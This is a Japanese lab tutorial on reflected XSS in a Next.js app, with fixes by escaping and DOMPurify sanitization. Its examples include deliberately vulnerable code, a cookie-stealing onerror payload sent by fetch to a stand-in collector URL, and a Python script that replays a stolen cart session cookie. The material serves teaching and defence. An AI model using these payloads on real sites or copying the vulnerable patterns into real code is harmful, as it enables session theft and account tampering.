const [name, setName] = useState<string | null>(null);
useEffect(() => {
  const params = new URLSearchParams(window.location.search);
  setName(params.get("name")); // 💀 サニタイズ(無害化)ぜずに値を格納
}, []);
{name && (
  <div className="mt-4 ml-4 flex text-sm text-slate-600">
    {/* サニタイズされていない値を dangerouslySetInnerHTML で出力(💀超危険) */}
    <span dangerouslySetInnerHTML={{ __html: name }} className="mr-1" />
    さん、こんにちは!
  </div>
)}

XSS脆弱性の原因となっているのは 第40行目第143行目 になります。いずれか一方で適切な処理がされていれば XSS を防ぐことはできます。例えば、第143行目<span className="mr-1">{name}</span> とするだけでXSS攻撃は失敗します。

なお、反射型XSSは「詳細はこちらをご覧ください」のようなリンクに仕込まれる可能性があります。

このような状態で、どのようなXSS攻撃を受ける可能性があるかを見ていきます。

7.2.1 例1 (無害)

http://localhost:3000/news?name=寝屋川タヌキ

上記のURLをブラウザのアドレバーにコピペすると次のようになります。

img

ここでは、クエリパラメータが単なるテキスト (寝屋川タヌキ) だったので、特に問題になることはおきません。

7.2.2 例2

http://localhost:3000/news?name=<font size=20 color="brown"><b>寝屋川タヌキ</b></font>

上記のURLをブラウザのアドレバーにコピペすると次のようになります。

img

ここでは、クエリパラメータに HTMLタグ が含まれています。その結果、そのHTMLタグが反映された出力となっています。

7.2.3 例3 💀

http://localhost:3000/news?name=<img src=x onerror="alert('Hoge!')">

上記のURLをブラウザのアドレバーにコピペすると次のようになります。

img

<img src=x onerror="alert('Hoge!')"> は、XSS攻撃でよく使われる HTML タグです。

  1. <img src="x"> によって、存在しない画像を読み込もうとする。
  2. 読み込み失敗 → onerror が実行される。
  3. 結果として alert('Hoge!') という JavaScript が実行され、画面に「Hoge!」というアラートが表示される。

アラートが実行されたところで実害はありませんが、任意の JavaScript が実行できてしまうことが非常に深刻な問題です。

7.2.4 例4 💀💀

http://localhost:3000/news?name=<img src=x onerror="document.write('(ToT) => ',document.cookie)">

上記のURLをブラウザのアドレバーにコピペすると次のようになります。

img

クエリパラメータに設定されているのは「HttpOnly属性が設定されていない Cookie を document.cookie によって読み出して画面に出力するJavaScript」のコードです。危険な香りがしてきましたが、自分の Cookie が、自分の見ているが画面に出力されるだけで、特に実害はありません。

7.2.5 例5 💀💀💀

次のクエリパラメータには document.cookie で取得した Cookie を http://localhost:3000/api/xss に送信して、その後、/ に移動するような JavaScript プログラムが設定されています。

http://localhost:3000/news?name=<img src=x onerror="fetch('http://localhost:3000/api/xss?c='+document.cookie);window.location.href='/'">

上記は、そのまま貼り付けても機能しません。name= 以降の文字をURLエンコーディングする必要があります。

以下のサイトなどを利用して <img src=x onerror="fetch('http://localhost:3000/api/xss?c='+document.cookie);window.location.href='/'"> の部分だけURLエンコーディングします。

以下のような URL が得られます。

http://localhost:3000/news?name=%3Cimg+src%3Dx+onerror%3D%22fetch%28%27http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fxss%3Fc%3D%27%2Bdocument.cookie%29%3Bwindow.location.href%3D%27%2F%27%22%3E

これを貼り付けて実行すると、自分の Cookie が http://localhost:3000/api/xss 宛に送信されます😇。ここでは実験のために、自分のウェブアプリのウェブAPIに情報を送っていますが、実際の攻撃時には、攻撃者😈の用意した URL となります。

プロジェクトフォルダのなかの src/app/api/xss/route.ts を読解してもらうと分かるとおもいますが、http://localhost:3000/api/xss?c=HogeFugaPiyo のようにクエリパラメータをつけてアクセスすると、c= の部分、つまり HogeFugaPiyo を DB の stolenContent に保存する仕組みになっています。

実際に被害を確認してみましょう。次のコマンドで DB の内容を確認します。

npx prisma studio

次のように、見事に自分の Cookie が攻撃者の DB の StolenContent テーブルに記録されてしまいました😇

img

ここで cart_session_id が窃取されたことは極めて問題です。窃取した cart_session_id を Cookie にセットすれば、攻撃者が自由にカートの内容を操作できるためです。

以下は、Python プログラムですが窃取した Cookie を使ってカートに商品IDが A-002 のアイテム (=月収7桁を叩き出すCSS講座【完全無料】) を 9999 個突っ込むものになっています。

import requests
import json

url = 'http://localhost:3000/api/cart'

# ここに窃取したセッションIDをセット
cart_session_id = '00000000-0000-0000-0000-000000000000'

cookies = {'cart_session_id': cart_session_id}
headers = {'Content-Type': 'application/json'}
payload = {'productId': 'A-002', 'quantity': 9999}

res = requests.patch(
  url=url,
  data=json.dumps(payload),
  headers=headers,
  cookies=cookies
)

print(f'ステータスコード: {res.status_code}')

is_success = res.json().get('success')
print(f'res.success: {is_success}')

if is_success:
  res = requests.get(
    url=url,
    cookies=cookies
  )
  cart_items = res.json().get('payload')
  print(f'カートの内容: {json.dumps(cart_items, indent=2)}')

以上で、Cookie に適切な属性を設定することの重要性、適切なサニタイズやエスケープ処理をすることの重要性が理解できたと思います。

Cookie に「HttpOnly属性」をつけていれば…もしくはサニタイズもしくはエスケープ処理をしていれば…防ぐことができた被害でした。

7.3 エスケープ処理の方法

エスケープ処理とは <> などの HTMLとして解釈される可能性がある文字&lt;&gt; などに置き換える処理を指します。ここで &lt;&gt;文字実体参照 とばれるもので、ウェブブラウザでは、これを「HTML」ではなく「文字」としての <> として表示 (レンダリング) します。

例えば…

…に対してエスケープ処理をかけると…

…となります。ここで、"&quot; に、'&#39; に変換されています。

Next.js (React) では、安全のために エスケープ処理がデフォルト適用 される仕様となっているため、以下のように書き換えれば src/app/news/page.tsx は安全なコードとなります (dangerouslySetInnerHTML だけが、例外的にエスケープ処理が適用されません)。

<span dangerouslySetInnerHTML={{ __html: name }} className="mr-1" />
<span className="mr-1">{name}</span>

エスケープ処理がされたときは、次のように画面がレンダリングされます。

img

7.4 サニタイズ (無害化) の方法

エスケープ処理を適用すると全ての HTMLタグ や JavaScript が無効化されますが、一部の安全なタグ (<br /><font>) や、属性 (size=color=) だけは 有効化したい場合 もあります。たとえば、ブログ投稿機能をもったウェブアプリなどでは簡単な装飾などを許可したい場合があります。

この場合は、isomorphic-dompurify というサニタイズライブラリが便利です。isomorphic-dompurify は、Next.js のクライアントコンポーネント (use client) で動作するもので、以下のように使用します。

const params = new URLSearchParams(window.location.search);
setName(params.get("name")); // 💀 サニタイズ(無害化)ぜずに値を格納
const name = params.get("name");
if (!name) { // name が null のとき
  setName(name);
  return;
}
// 注意:tsx の冒頭で import DOMPurify from "isomorphic-dompurify" が必要
const sanitizedName = DOMPurify.sanitize(name, { // サニタイズ処理
  ALLOWED_TAGS: ["b", "i", "font"], // 許可するタグ
  ALLOWED_ATTR: ["color"], // 許可する属性
});
setName(sanitizedName); // 😁 サニタイズして値を格納

上記のようにすると、太字タグ <b></b>、斜体タグ <i></i>、フォントタグ <font></font> のみを許可し、さらにタグの属性のうち color= のみを許可するようなサニタイズ処理がされます。許可されていない該当しないタグや属性は削除 (≠無害化) されます。そのうえで dangerouslySetInnerHTML を使用して name を出力してください。

以上のようなサニタイズ処理を適当したとき、次のようなURLでアクセスすると…

http://localhost:3000/news?name=<font color="blue" size="100"><b>萱島ウサギ</b></font>

次のように出力されます (size=の属性は適用されていないことに着目してください)。

img

7.4.1 演習

サニタイズ処理を適用してください。

7.5 Flask (Python) などでもXSS脆弱性に注意

Next.js は、基本的にはXSS攻撃が成功しにくい設計になっています。あえて dangerouslySetInnerHTML 属性をしなければ問題ありません。

一方で、Flask (前期実験のもう一方のテーマで使用) などは、標準でXSS攻撃が成功しやすい設計になっています。十分に注意してください。

from flask import Flask, request, Response

app = Flask(__name__)

@app.route("/")
def greet():
  name = request.args.get("name", "")
  html = f"こんにちは{name}さん"
  return Response(html, content_type="text/html")

if __name__ == "__main__":
  app.run(debug=True)